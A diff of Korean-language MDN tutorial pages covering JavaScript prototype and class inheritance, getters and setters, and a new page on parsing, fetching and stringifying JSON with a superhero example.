call() 함수에 this만 넘긴 것을 보세요. — Brick() 생성자에서 매개변수를 통해 초기화 하는 속성들이 없으므로 call()에도 넘길 필요가 없습니다.

+ +

Teacher()의 프로토타입과 생성자 참조 설정하기

+ +

다 좋은데 문제가 있습니다. 방금 정의한 새 생성자에는 생성자 함수 자신에 대한 참조만 가지고 있는 프로토타입 속성이 할당되어 있습니다. 정작 상속 받은 Person() 생성자의 prototype 속성은 없죠. Javascript 콘솔에서 Object.getOwnPropertyNames(Teacher.prototype)을 쳐서 확인해 보세요. 다음엔 TeacherPerson으로 바꿔서 확인해 보세요. Teacher()생성자는 Person()의 메소드를 상속받지 못하였습니다. Person.prototype.greetingTeacher.prototype.greeting 구문을 실행하여 비교해 보세요. Teacher()가 메소드도 상속 받으려면 어떻게 해야 할까요?

+ +
    +
  1. 기존 코드에 아래 코드를 추가하세요: +
    Teacher.prototype = Object.create(Person.prototype);
    + 구원 투수 create()의 등판입니다.  새 객체를 생성하여 Teacher.prototype으로 할당했죠. 새 객체는 Person.prototype 객체를 자신의 프로토타입으로 가지고 있으므로 Person.prototype에 정의된 모든 메소드를 사용할 수 있습니다.
  2. +
  3. 넘어가기 전에 한가지 더 해야 합니다. 마지막 줄을 추가하고 나면 Teacher.prototypeconstructor 속성이 Person()으로 되어 있습니다. Teacher.prototype에 Person.prototype을 상속받은 객체를 할당했기 때문이죠. 코드를 저장한 뒤 브라우저로 불러와서 Teacher.prototype.constructor 구문의 반환 값을 확인해 보세요.
  4. +
  5. 문제의 소지가 있으므로 고쳐야 됩니다. 소스에 아래 코드를 추가하세요: +
    Teacher.prototype.constructor = Teacher;
    +
  6. +
  7. 저장하고 다시 브라우저에서 불러오면 의도한대로 Teacher.prototype.constructorTeacher()를 반환합니다. 게다가 Person()도 상속받았죠!
  8. +
+ +

Teacher()에 새 greeting() 함수 부여하기

+ +

Teacher()에 새로운 greeting() 함수를 정의하여 코드를 완성합시다.

+ +

가장 간단한 방법은 Teacher()의 프로토타입에 정의합니다. — 아래 코드를 추가하세요:

+ +
Teacher.prototype.greeting = function() {
+  var prefix;
+
+  if (this.gender === 'male' || this.gender === 'Male' || this.gender === 'm' || this.gender === 'M') {
+    prefix = 'Mr.';
+  } else if (this.gender === 'female' || this.gender === 'Female' || this.gender === 'f' || this.gender === 'F') {
+    prefix = 'Mrs.';
+  } else {
+    prefix = 'Mx.';
+  }
+
+  alert('Hello. My name is ' + prefix + ' ' + this.name.last + ', and I teach ' + this.subject + '.');
+};
+ +

조건문을 이용해서 성별에 따라 적절한 호칭이 붙은 교사의 인삿말을 alert 창으로 띄웁니다.

+ +

예제 사용해 보기

+ +

소스를 환성했으니 아래 코드를 통해 새 Teacher() 인스턴스를 생성해 봅시다(아니면 인자를 원하는 값으로 변경하시거나요):

+ +
var teacher1 = new Teacher('Dave', 'Griffiths', 31, 'male', ['football', 'cookery'], 'mathematics');
+ +

저장한 코드를 다시 불러와서 아래처럼 teacher1의 속성과 메소드를 확인해 봅시다:

+ +
teacher1.name.first;
+teacher1.interests[0];
+teacher1.bio();
+teacher1.subject;
+teacher1.greeting();
+teacher1.farewell();
+ +

아주 잘 실행될 겁니다. 1, 2, 3, 6 줄은 Person() 생성자(클래스)에서 상속 받은 멤버에 접근합니다. 4번째 줄은 Teacher() 생성자(클래스)만 가지고 있는 멤버에 접근합니다. 5번째 줄은 Person()에서 상속 받은 멤버도 있지만 Teacher()가 이미 자신만의 새 메소드를 정의했으므로 Teacher()의 메소드에 접근합니다.

+ +
+

Note: 코드가 잘 동작하지 않으면 완성된 버전을 확인해 보세요. (실행 페이지도 보시구요).

+
+ +

이 테크닉이 Javascript에서 상속 받는 클래스를 만드는 유일한 방법은 아니지만 잘 동작하며 상속을 구현하는 방법을 잘 설명하고 있습니다.

+ +

조금 더 명확한 방식으로 Javascript에서 상속을 구현하는 새 {{glossary("ECMAScript")}} 기능도 관심 가질만한 주제입니다(Classes 참조). 아직까지 많은 브라우저에서 지원하지 못하고 있기 때문에 여기서 다를 주제는 아닙니다. 여러 문서에서 제시한 코드들은 IE9보다 더 오래된 구형 브라우저에서도 사용 가능하며 더 이전 버전을 지원하기 위한 방법들도 있습니다. 

+ +

JavaScript 라이브러리를 쓰면 간단합니다 — 상속 기능을 사용하기 위한 보편적인 방법이죠. 예를들어 CoffeeScriptclassextends등의 기능을 제공합니다.

+ +

더 연습하기

+ +

OOP theory section, 에서는 개념적으로 Person을 상속받고 Teacher보다 덜 공손한 greeting() 메소드를 재정의한 Student 클래스를 정의했었습니다. 해당 절에서 Student의 인삿말이 어땠는지 확인해 보시고 Person()을 상속받는 Student() 생성자를 구현해 보세요. greeting() 함수도 재정의 해 보시구요.

+ +
+

Note: 코드가 잘 동작하지 않으면 완성된 버전 을 확인해 보세요.(실행 페이지도 보시구요).

+
+ +

객체 멤버 요약

+ +

요약하면, 상속에 있어 고려해야 할 세 가지 유형의 속성/메소드가 있습니다:

+ +
    +
  1. 생성자 함수 내에서 인스턴스에 정의하는 유형. 직접 작성한 코드에서는 생성자 함수 내에 this.x = x 구문과 유사하게 정의되어 있으므로 발견하기 쉽습니다. 브라우저 내장 코드에서는 객체 인스턴스(보통 new 키워드를 통해 생성, ex) var myInstance = new myConstructor())에서만 접근할 수 있는 멤버입니다.
  2. +
  3. 생성자에 직접 정의하는 유형, 생성자에서만 사용 가능합니다. 브라우저 내장 객체에서 흔히 사용하는 방식인데, 인스턴스가 아니라 생성자 함수에서 바로 호출되는 유형입니다. Object.key() 같은 함수들이죠.
  4. +
  5. 인스턴스와 자식 클래스에 상속하기 위해 생성자의 프로토타입에 정의하는 유형. 생성자의 프로토타이비 속성에 정의되는 모든 멤버를 의미합니다. ex) myConstructor.prototype.x().
  6. +
+ +

뭐가 뭔지 헷갈려도 걱정하지 마세요 — 배우는 중이니 차츰 익숙해질겁니다.

+ +

ECMAScript 2015 클래스

+ +

ECMAScript 2015에서는 C++나 Java와 유사한 클래스 문법을 공개하여 클래스를 조금 더 쉽고 명확하게 재활용 할 수 있게 되었습니다. 이 절에서는 프로토타입 상속으로 작성한 Person과 Teacher 예제를 클래스 문법으로 변경하고 어떻게 동작하는지 설명하겠습니다.

+ +
+

Note: 대부분의 최신 브라우저에서 새로운 클래스 작성 방식을 지원합니다만 일부 구형 브라우저(Internet Explorer가 대표적)에서는 동작하지 않으므로 하위호환성을 위해 프로토타입 상속을 배워둘 필요가 있습니다.

+
+ +

Class-스타일로 재작성한 Person 예제를 보시죠:

+ +
class Person {
+  constructor(first, last, age, gender, interests) {
+    this.name = {
+      first,
+      last
+    };
+    this.age = age;
+    this.gender = gender;
+    this.interests = interests;
+  }
+
+  greeting() {
+    console.log(`Hi! I'm ${this.name.first}`);
+  };
+
+  farewell() {
+    console.log(`${this.name.first} has left the building. Bye for now!`);
+  };
+}
+ +

class 구문은 새로운 클래스를 작성함을 의미합니다. Class 블록 내에서 모든 기능을 정의할 수 있습니다.

+ + + + + +

이제 위에서 했듯이 new 연산자로 객체 인스턴스를 생성할 수 있습니다:

+ +
let han = new Person('Han', 'Solo', 25, 'male', ['Smuggling']);
+han.greeting();
+// Hi! I'm Han
+
+let leia = new Person('Leia', 'Organa', 19, 'female' ['Government']);
+leia.farewell();
+// Leia has left the building. Bye for now
+ +
+

Note: 코드를 까보면 class 부분은 프로토타입 상속으로 변환이 됩니다. — 문법 설탕(syntactic sugar)의 일종인거죠. 하지만 읽기 쉽다는데 대부분 동의하실 겁니다.

+
+ +

class 문법으로 상속

+ +

위에서 사람을 나타내는 클래스를 만들었습니다. Person 클래스는 일반적인 사람이 가질 만한 특성들을 나열하고 있죠; 이 절에서는 Person을 class 문법으로 상속받아 Teacher 클래스를 만들 예정입니다. 이 작업을 하위 클래스 생성이라 부릅니다.

+ +

하위 클래스를 만드려면 Javascript에서 extends 키워드를 통해 상속 받을 클래스를 명시합니다.

+ +
class Teacher extends Person {
+  constructor(first, last, age, gender, interests, subject, grade) {
+    this.name = {
+      first,
+      last
+    };
+
+  this.age = age;
+  this.gender = gender;
+  this.interests = interests;
+  // subject and grade are specific to Teacher
+  this.subject = subject;
+  this.grade = grade;
+  }
+}
+ +

constructor()에서 첫번쨰로 super() 연산자를 정의하면 코드를 조금 더 읽기 쉬워집니다. 이는 상위 클래스의 생성자를 호출하며 super()의 매개변수를 통해 상위 클래스의 멤버를 상속받을 수 있는 코드입니다.

+ +
class Teacher extends Person {
+  constructor(first, last, age, gender, interests, subject, grade) {
+    super(first, last, age, gender, interests);
+
+    // subject and grade are specific to Teacher
+    this.subject = subject;
+    this.grade = grade;
+  }
+}
+ +

Teacher의 인스턴스를 생성하면 의도한대로 이제 TeacherPerson 양 쪽의 메소드와 속성을 사용할 수 있습니다.

+ +
let snape = new Teacher('Severus', 'Snape', 58, 'male', ['Potions'], 'Dark arts', 5);
+snape.greeting(); // Hi! I'm Severus.
+snape.farewell(); // Severus has left the building. Bye for now.
+snape.age // 58
+snape.subject; // Dark arts
+ +

Person을 수정하지 않고 Teacher를 생성한 것처럼 또 다른 하위클래스도 생성할 수 있습니다.

+ +
+

Note: GitHub에서 es2015-class-inheritance.html 예제를 참조하세요(실행 페이지).

+
+ +

Getters와 Setters

+ +

생성한 클래스 인스턴스의 속성 값을 변경하거나 최종 값을 예측할 수 없는 경우가 있을 겁니다. Teacher 예제를 보면 인스턴스를 생성하기 전에는 어떤 과목을 가르칠지 아직 모릅니다. 학기 도중에 가르치는 과목이 변경될 수도 있구요.

+ +

이런 상황에 getter/setter가 필요합니다.

+ +

Teacher 클래스에 getter/setter를 추가해 봅시다. 마지막에 작성했던 예제를 그대로 사용해보죠.

+ +

Getter와 setter는 쌍으로 동작합니다. Getter가 현재 값을 반환한다면 그에 대응하는 setter는 해당하는 값을 변경합니다.

+ +

수정된 Teacher 클래스는 아래와 같습니다:

+ +
class Teacher extends Person {
+  constructor(first, last, age, gender, interests, subject, grade) {
+    super(first, last, age, gender, interests);
+    // subject and grade are specific to Teacher
+    this._subject = subject;
+    this.grade = grade;
+  }
+
+  get subject() {
+    return this._subject;
+  }
+
+  set subject(newSubject) {
+    this._subject = newSubject;
+  }
+}
+ +

위 클래스를 보시면 subject 속성에 대해 getter와 setter가 생겼습니다. 멤버 변수에는 _를 붙여 getter/setter와 구분을 하였습니다. 이렇게 하지 않으면 get/set을 호출할때마다 에러가 발생합니다:

+ + + +

두 기능이 실제로 어떻게 작동하는지 아래를 참조하세요:

+ +
// Check the default value
+console.log(snape._subject) // Returns "Dark arts"
+
+// Change the value
+snape._subject="Balloon animals" // Sets subject to "Balloon animals"
+
+// Check it again and see if it matches the new value
+console.log(snape._subject) // Returns "Balloon animals"
+ +
+

Note: GitHub에서 es2015-getters-setters.html 예제를 참조하세요(실행 페이지).

+
+ +

JavaScript에서 언제 상속을 사용해야 할까?

+ +

이 마지막 문서를 읽고 나면 "뭐가 이리 어렵냐"고 생각하실지도 모르겠습니다. 어렵긴 합니다 프로토타입과 상속은 Javascript에서 가장 난해한 부분이거든요. 하지만 이 부분은 Javascript가 강력하고 유연한 언어로써 작용할 수 있는 원동력이기에 충분한 시간을 들여 배울 가치가 있습니다.

+ +

어찌보면 여러분은 항상 상속하고 있었습니다. Web API나 브라우저 내장 객체인 string, array 등의 메소드/속성을 사용하면서 암묵적으로 상속을 사용하고 있었던거죠.

+ +

처음 시작하거나 작은 프로젝트에서 직접 상속을 구현하는 코드를 작성하는 경우는 그리 많지 않습니다. 필요하지도 않는데 상속을 위한 코드를 구현하는 건 시간 낭비에 불과하죠. 하지만 코드량이 많아질수록 상속이 필요한 경우가 생깁니다. 동일한 기능을 가진 클래스가 많아졌음을 발견했다면 기능들을 한데 묶어 공유할 수 있도록 일반 객체를 만들고 특이 객체들에게 상속하는 방식이 훨씬 편하고 유용하다는 점을 알 수 있습니다.

+ +
+

Note: Javascript에서는 프로토타입을 통해 상속이 구현되어 있어 이 방식을 흔히 위임이라고 표현합니다. 특이 객체들이 일반 객체에게 일부 기능의 실행을 위임하는 것이죠.

+
+ +

상속을 구현할때 상속 레벨을 너무 깊게 하지 말고, 메소드와 속성들이 정확히 어디에 구현되어 있는지 항상 인지해야 합니다. 브라우저 내장 객체의 prototype 역시 일시적으로 수정이 가능하지만 정말로 필요한 경우를 제외하고는 건드리지 말아야 합니다. 너무 깊은 상속은 디버그 할 때 끝없는 혼돈과 고통만을 줄 겁니다.

+ +

궁극적으로 객체는 함수나 반복문과 같이 고유한 역할과 장점을 지닌 채 코드를 재사용하는 또 다른 방법입니다. 서로 연관된 변수와 함수들을 하나로 묶어 다룰 필요가 있을때 객체가 좋은 아이디어입니다. 한 곳에서 다른 곳으로 데이터 집합을 전달할 때에도 객체가 유용합니다. 두가지 모두 생성자나 상속 없이도 가능한 일입니다. 딱 하나의 인스턴스만 필요할 경우 객체를 선언하지 않고 객체 리터럴만으로도 충분합니다. 당연히 상속은 필요없구요.

+ +

요약

+ +

이 글에서는 여러분들이 반드시 알아야 할 OOJS 이론과 문법의 나머지 부분에 대해 다루고 있습니다. 이 시점에서 여러분은 javascript 객체와 OOP 기초, 프로토타입과 프로토타입 상속, 클래스(생성자)를 만들고 인스턴스를 생성하며 기능을 추가하고, 다른 클래스를 상속 받아 하위 클래스를 만드는 방법을 배웠습니다.

+ +

다음 글에서는 Javascript 객체로 데이터를 교환하는 방식인 Javascript Object Notation(JSON)에 대해 알아봅시다.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}

+ + + +

In this module

+ + diff --git a/files/ko/learn/javascript/objects/json/index.html b/files/ko/learn/javascript/objects/json/index.html new file mode 100644 index 0000000000..a9d5751319 --- /dev/null +++ b/files/ko/learn/javascript/objects/json/index.html @@ -0,0 +1,351 @@ +--- +title: JSON으로 작업하기 +slug: Learn/JavaScript/Objects/JSON +tags: + - JSON + - JSON 객체 + - JSON 문자열로 변환 + - 입문자 + - 초보자 +translation_of: Learn/JavaScript/Objects/JSON +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}
+ +

JavaScript Object Notation (JSON)은 Javascript 객체 문법으로 구조화된 데이터를 표현하기 위한 문자 기반의 표준 포맷입니다. 웹 어플리케이션에서 데이터를 전송할 때 일반적으로 사용합니다(서버에서 클라이언트로 데이터를 전송하여 표현하려거나 반대의 경우). 여기저기서 자주 보았을테니 여기선 JSON을 파싱, 데이터에 접근하고 JSON을 생성하는 등 Javascript로 JSON을 다루는 법에 대해 알아봅시다.

+ + + + + + + + + + + + +
사전지식:컴퓨터 기초, HTML과 CSS에 대한 기본 지식, Javascript 기초 (First stepsBuilding blocks 참조), OOJS 기초 (Introduction to objects 참조).
목표:JSON에 담긴 데이터를 이용하는 법과 JSON 객체 생성하는 법에 대해 알아보기.
+ +

아니, 대체 JSON이 뭐죠?

+ +

{{glossary("JSON")}} 는 Douglas Crockford가 널리 퍼뜨린 Javascript 객체 문법을 따르는 문자 기반의 데이터 포맷입니다. JSON이 Javascript 객체 문법과 매우 유사하지만 딱히 Javascript가 아니더라도  JSON을 읽고 쓸 수 있는 기능이 다수의 프로그래밍 환경에서 제공됩니다.

+ +

JSON은 문자열 형태로 존재합니다 — 네트워크를 통해 전송할 때 아주 유용하죠. 데이터에 억세스하기 위해서는 네이티브 JSON 객체로 변환될 필요가 있습니다. 별로 큰 문제는 아닌 것이 Javascript는 JSON 전역 객체를 통해 문자열과 JSON 객체의 상호변환을 지원합니다.

+ +
+

Note: 문자열에서 네이티브 객체로 변환하는 것은 파싱(Parsing)이라고 합니다. 네트워크를 통해 전달할 수 있게 객체를 문자열로 변환하는 과정은 문자열화(Stringification)이라고 합니다.

+
+ +

개별 JSON 객체를 .json 확장자를 가진 단순 텍스트 파일에 저장할 수 있습니다. {{glossary("MIME 타입")}}은 application/json 입니다.

+ +

JSON 구조

+ +

위에서 설명했듯이 JSON은 Javascript 객체 리터럴 문법을 따르는 문자열입니다. JSON 안에는 마찬가지로 Javascript의 기본 데이터 타입인 문자열, 숫자, 배열, 불리언 그리고 다른 객체를 포함할 수 있습니다. 이런 방식으로 여러분은 데이터 계층을 구축할 수 있습니다, 아래 처럼요.

+ +
{
+  "squadName": "Super hero squad",
+  "homeTown": "Metro City",
+  "formed": 2016,
+  "secretBase": "Super tower",
+  "active": true,
+  "members": [
+    {
+      "name": "Molecule Man",
+      "age": 29,
+      "secretIdentity": "Dan Jukes",
+      "powers": [
+        "Radiation resistance",
+        "Turning tiny",
+        "Radiation blast"
+      ]
+    },
+    {
+      "name": "Madame Uppercut",
+      "age": 39,
+      "secretIdentity": "Jane Wilson",
+      "powers": [
+        "Million tonne punch",
+        "Damage resistance",
+        "Superhuman reflexes"
+      ]
+    },
+    {
+      "name": "Eternal Flame",
+      "age": 1000000,
+      "secretIdentity": "Unknown",
+      "powers": [
+        "Immortality",
+        "Heat Immunity",
+        "Inferno",
+        "Teleportation",
+        "Interdimensional travel"
+      ]
+    }
+  ]
+}
+ +

이 객체를 Javascript 프로그램에서 로드하고, 예를 들어 superHeroes라는 이름의 변수에 파싱하면 JavaScript object basics 문서에서 보았던 것처럼 점/브라켓 표현법을 통해 객체 내 데이터에 접근할 수 있게 됩니다. 아래와 같이요:

+ +
superHeroes.homeTown
+superHeroes['active']
+ +

하위 계층의 데이터에 접근하려면, 간단하게 프로퍼티 이름과 배열 인덱스의 체인을 통해 접근하면 됩니다. 예를 들어 superHeroes의 두 번째 member의 세 번째 power에 접근하려면 아래와 같이 하면 됩니다.

+ +
superHeroes['members'][1]['powers'][2]
+ +
    +
  1. 우선 변수 이름은 — superHeroes입니다.
  2. +
  3. members 프로퍼티에 접근하려면, ["members"]를 입력합니다.
  4. +
  5. members는 객체로 구성된 배열입니다. 두 번째 객체에 접근할 것이므로 [1]를 입력합니다.
  6. +
  7. 이 객체에서 powers 프로퍼티에 접근하려면 ["powers"]를 입력합니다.
  8. +
  9. powers 프로퍼티 안에는 위에서 선택한 hero의 superpower들이 있습니다. 세 번째 것을 선택해야 하므로 [2].
  10. +
+ +
+

Note: 위에서 볼 수 있듯  JSONTest.html 예제에서 JSON 내 변수(source code 참고)를 만들었다. 당신 브라우저의 Javascript 콘솔을 통하여 이 코드를 로드하고 그 변수 안에  얻을 수 있는 데이터에 접근해보자.

+
+ +

JSON에서의 배열

+ +

앞서 JSON 텍스트는 기본적으로 자바스크립트의 오브젝트와 비슷하게 생겼다고 언급하였습니다. 그리고 그것은 대부분 맞습니다. "대부분 맞다"라고 말한 이유는 자바스크립트의 배열 또한 JSON에서 유효하기 때문입니다.

+ +
[
+  {
+    "name": "Molecule Man",
+    "age": 29,
+    "secretIdentity": "Dan Jukes",
+    "powers": [
+      "Radiation resistance",
+      "Turning tiny",
+      "Radiation blast"
+    ]
+  },
+  {
+    "name": "Madame Uppercut",
+    "age": 39,
+    "secretIdentity": "Jane Wilson",
+    "powers": [
+      "Million tonne punch",
+      "Damage resistance",
+      "Superhuman reflexes"
+    ]
+  }
+]
+ +

위 예제는 완벽히 올바른 형태의 JSON입니다. 배열의 요소(파싱된 버전)에 접근하기 위해서는 배열의 인덱스를 사용하면 됩니다. [0]["powers"][0] 와 같이 말이죠.

+ +

Other notes

+ + + +

해보면서 배우기: JSON을 다뤄 보자

+ +

웹사이트에서 JSON 데이터를 어떻게 사용할 수 있는지 예제를 통해 살펴봅시다.

+ +

시작하기

+ +

우선 로컬 저장소에 heroes.html 와 style.css 파일을 복사해주세요. style.css 파일은 페이지에 적용할 간단한 CSS를 담고 있으며, heros.html 파일은 간단한 body HTML을 담고 있습니다.

+ +
<header>
+</header>
+
+<section>
+</section>
+ +

자바스크립트 코드를 담기 위한{{HTMLElement("script")}} 요소를 추가해 주세요. 현재는 두 줄의 코드만 작성되어 있습니다. {{HTMLElement("header")}} 와 {{HTMLElement("section")}} 요소를 참조하여 변수에 담는 코드입니다. :

+ +
var header = document.querySelector('header');
+var section = document.querySelector('section');
+ +

JSON 데이터를 다음 깃허브 링크에서 가져올수 있습니다. https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json.

+ +

페이지에 JSON 데이터를 로딩하고 DOM 조작을 통해 아래와 같이 만들어 봅시다. :

+ +

+ +

JSON 가져오기

+ +

JSON을 가져오기 위해서는, {{domxref("XMLHttpRequest")}} (때론 XHR)로 불리는 API를 사용하면 된다. 이것은 매우 유용한 JavaScript 오브젝트로 JavaScript (e.g. images, text, JSON, even HTML snippets)를 통해 우리가 서버로 부터 다양한 리소스를 가져오는 요청을 만들어 준다. 즉, 전체 페이지를 불러오지 않고도 필요한 부분만을 업데이트 할 수 있다. 이 기능은 좀 더 효과적으로 반응형 웹페이지을 다루는데 흥미로울 수 있으나, 아쉽게도 이 내용에 대한 자세한 부분은 여기서 다루지 않는다.

+ +
    +
  1. 일단, 변수로 둘 JSON의 URL을 가져와야 합니다. 아래의 코드를 당신의 JavaScript 코드 내에 추가해 주세요. +
    var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json';
    +
  2. +
  3. 요청을 만들기 위해, 우리는 new 키워드를 이용하여 XMLHttpRequest 생성자로부터 새로운 request 인스턴스를 생성해야 합니다. 아래의 코드를 추가해 주세요. +
    var request = new XMLHttpRequest();
    +
  4. +
  5. 이제 open() 메소드를 사용해 새로운 요청을 만듭니다. 아래의 코드를 추가해 주세요. +
    request.open('GET', requestURL);
    + +

    이것은 최소 두 개의 매개변수를 가집니다. 다른 선택적 매개변수도 가능해요. 이건 단순 예제니깐 두 가지 필수 매개변수만 취할게요.

    + +
      +
    • HTTP 메서드는 네트워크 요청을 만들 때 사용됩니다. 이 경우 GET 을 사용하는게 좋겠어요. 우린 그저 데이터를 가져오면 되니깐요.
    • +
    • URL은 요청을 보낼 곳을 지정합니다. 우리가 저장해 둔 JSON 파일의 URL로 지정할게요.
    • +
    +
  6. +
  7. 다음으로, 아래의 두 줄을 추가해 주세요. responseType 을 JSON으로 설정했어요. XHR로 하여금 서버가 JSON 데이터를 반환할 것이며, 자바스크립트 객체로서 변환될 것이라는 걸 알게 하기 위해서죠. 이제  send() 메서드를 이용해 요청을 보냅시다. +
    request.responseType = 'json';
    +request.send();
    +
  8. +
  9. 마지막 부분은 서버의 응답을 기다리고, 그것의 처리까지와 관련된 섹션입니다. 코드 아래에 다음의 코드를 추가해 주세요. +
    request.onload = function() {
    +  var superHeroes = request.response;
    +  populateHeader(superHeroes);
    +  showHeroes(superHeroes);
    +}
    +
  10. +
+ +

우리는 요청에 대한 응답을 superHeroes라는 변수에 저장할 겁니다.(response 프로퍼티로 가능) 이 변수는 이제 JSON 데이터에 기반한 자바스크립트 객체를 포함하게 됩니다! 두 개의 함수를 호출해 이 객체를 전달합시다. 하나는 <header> 를 적절한 데이터로 채울 것이고, 다른 하나는 팀의 각 히어로에 대한 정보 카드를 생성하여 <section>내에 집어넣을 겁니다.

+ +

우리는 로드 이벤트가 request 객체에 발생할 때에 작동하는 이벤트 핸들러 내에 코드를 넣었습니다. (onload 참고) 왜냐하면 응답이 성공적으로 돌아왔을 때만 로드 이벤트가 작동하기 때문입니다. 이러한 방식은 우리가 무언가를 시도하려고 할 때 request.response 가 확실히 가능하다는 것을 보장해 줍니다.

+ +

헤더 조작하기

+ +

우린 JSON 데이터를 가져왔고, 그것을 자바스크립트 객체로 변환했어요. 이제 우리가 위에서 언급한 두 개의 함수를 사용함으로써 이것을 활용해 봅시다. 우선, 이전 코드 아래에 다음 함수 정의를 추가해 주세요.

+ +
function populateHeader(jsonObj) {
+  var myH1 = document.createElement('h1');
+  myH1.textContent = jsonObj['squadName'];
+  header.appendChild(myH1);
+
+  var myPara = document.createElement('p');
+  myPara.textContent = 'Hometown: ' + jsonObj['homeTown'] + ' // Formed: ' + jsonObj['formed'];
+  header.appendChild(myPara);
+}
+ +

우리는 이 매개변수를 jsonObj라고 이름 붙였습니다. 여러분으로 하여금 이 자바스크립트 객체가 JSON으로 부터 생겨났다는 걸 상기시켜 주기 위해서죠. 첫번째로 createElement()로 {HTMLElement("h1")}} 요소를 생성하고, 이것의 textContent를 객체의 squadName 프로퍼티와 같도록 만들어 준 뒤, appendChild()를 사용해서 헤더에 붙이도록 했습니다. We then do a very similar 이와 비슷한 과정을 paragraph에도 적용했죠. 생성하고,그것의 text content를 설정하고 헤더에 붙이도록요. 차이점이라면 그것의 텍스트가 객체의 homeTown 과 formed 프로퍼티를 포함한 문자열로 설정된 거예요.

+ +

히어로 정보 카드 만들기

+ +

자, 다음으로 슈퍼히어로 카드를 생성하고 보여줄 함수를 코드의 마지막에 추가해 주세요.

+ +
function showHeroes(jsonObj) {
+  var heroes = jsonObj['members'];
+
+  for (var i = 0; i < heroes.length; i++) {
+    var myArticle = document.createElement('article');
+    var myH2 = document.createElement('h2');
+    var myPara1 = document.createElement('p');
+    var myPara2 = document.createElement('p');
+    var myPara3 = document.createElement('p');
+    var myList = document.createElement('ul');
+
+    myH2.textContent = heroes[i].name;
+    myPara1.textContent = 'Secret identity: ' + heroes[i].secretIdentity;
+    myPara2.textContent = 'Age: ' + heroes[i].age;
+    myPara3.textContent = 'Superpowers:';
+
+    var superPowers = heroes[i].powers;
+    for (var j = 0; j < superPowers.length; j++) {
+      var listItem = document.createElement('li');
+      listItem.textContent = superPowers[j];
+      myList.appendChild(listItem);
+    }
+
+    myArticle.appendChild(myH2);
+    myArticle.appendChild(myPara1);
+    myArticle.appendChild(myPara2);
+    myArticle.appendChild(myPara3);
+    myArticle.appendChild(myList);
+
+    section.appendChild(myArticle);
+  }
+}
+ +

우선, 새로운 변수 내의 자바스크립트 객체에 members 프로퍼티를 저장해 주세요. 이 배열은 각 히어로에 대한 정보를 가진 여러 개의 객체를 포함합니다.

+ +

다음으로, 우리는 for loop를 사용하여 배열 내의 각 객체에 반복 실행을 걸겁니다.

+ +
    +
  1. 몇 개의 새로운 요소를 생성해 주세요: <article>, <h2>, 3개의 <p>, 그리고  <ul>.
  2. +
  3. <h2>가 히어로의 name을 가지도록 설정해 주세요.
  4. +
  5. 목록 내의 정보를 소개하기 위해 세 개의 paragraph 안에 그들의  secretIdentity, age, 그리고 "Superpowers:" 라는 문장을 넣어 주세요.
  6. +
  7. superPowers 라는 새로운 변수 안에 powers프로퍼티를 저장해 주세요. 이것은 현재 히어로의 초능력(superpower)을 열거한 배열을 포함합니다.
  8. +
  9. 현재 히어로의 초능력을 반복 실행할 또다른 for 반복문을 사용합니다. 하나의 객체씩 <li> 를 생성하고, 그 안에 초능력을 집어 넣고, appendChild()를 사용하여 'myList' 라는 <ul> 안에  listItem 을 집어 넣습니다.
  10. +
  11. 마지막으로 <article> (myArticle) 안에 <h2>, <p>, 그리고 <ul> 넣은 뒤, <section> 안에 <article>을 넣어 줍니다. 요소가 추가되어 지는 순서가 중요해요.왜냐하면 HTML 내에 보여질 거거든요.
  12. +
+ +
+

Note: 만약 실습에 문제를 겪고 있다면, heroes-finished.html 코드를 참조하세요. (running live 또한 보세요.)

+
+ +
+

Note: 만약 우리가 주로 사용하는 JavaScript 객체에 접근하기 위한 점/괄호 표기법을 따르는데 문제를 겪고 있다면, 다른 탭이나 당신의 선호하는 텍스트 에디터에 superheroes.json 파일을 여는 것이 도움이 될 것이다. 또한 당신은 점/괄호 표기법에 대한 다른 정보를 위해 JavaScript object basics 글을 다시 확인하는 것을 권합니다.

+
+ +

객체와 문자 사이의 변환

+ +

위의 예제는 자바스크립트 객체에 접근한다는 관점에서 단순한 편이었죠. 왜냐하면 자바스크립트 객체를 사용해 우리는 XHR 요청을 곧장 JSON 응답으로 변환했으니깐요.

+ +
request.responseType = 'json';
+ +

하지만 우리는 이따금 재수 없어요. 때때로 우리는 날것의 JSON 문자열을 받기도 하고, 그것을 우리 스스로가 객체로 변환시켜야 할 때도 생기거든요. 그리고 네트워크를 통해 자바스크립트 객체를 보내고 싶을 때도 우리는 전송 전에 그걸 JSON(문자열)로 변환시켜야 해요. 다행히도, 이 두가지 문제가 웹 개발에 있어서 매우 흔한 덕에 다음과 같은 두가지 방법을 포함한 JSON 내장 객체가 브라우저 내에서 이용 가능합니다. 

+ + + +

 당신은 예제인 heroes-finished-json-parse.html에서 첫번째 동작을 확인할 수 있습니다.(아래 코드 참고-source code) — JSON 텍스트를 반환하기 위한 추가한 XHR와 JavaScript 객체로 전환하기 위해 사용된 parse()제외하면 이 코드는 이전에 우리가 빌드한 것과 완전히 같은 코드입니다. 다음은중요한 코드의 일부입니다.:

+ +
request.open('GET', requestURL);
+request.responseType = 'text'; // now we're getting a string!
+request.send();
+
+request.onload = function() {
+  var superHeroesText = request.response; // get the string from the response
+  var superHeroes = JSON.parse(superHeroesText); // convert it to an object
+  populateHeader(superHeroes);
+  showHeroes(superHeroes);
+}
+ +

예상했겠지만, stringify() 는 반대의 방식으로 작용됩니다. 다음 나오는 코드 라인들을 당신의 브라우저 JavaScript 콘솔에 동작을 확인하면서 한 줄씩 입력해봅시다.:

+ +
var myJSON = { "name": "Chris", "age": "38" };
+myJSON
+var myString = JSON.stringify(myJSON);
+myString
+ +

이 페이지에서는 우리는 JavaScript 객체를 생성하고 있으며 이 객체가 무엇을 포함하고 있는지 확인하고 stringify() —반환된 값을 새로운 변수에 저장합니다—를 사용해서 JSON 문자열로 변환시켰습니다. 다시 한 번 더 확인해 봅시다.

+ +

실력을 시험해보자!

+ +

 당신은 이 글의 끝에 도달했지만 가장 중요한 정보들을 기억하고 있습니까? 다음 단계를 가기 전 당신이 얼마나 이 정보를 습득하고 있는지 확인할 수 있는 테스트를 할 수 있습니다.  — Test your skills: JSON

+ +

요약

+ +

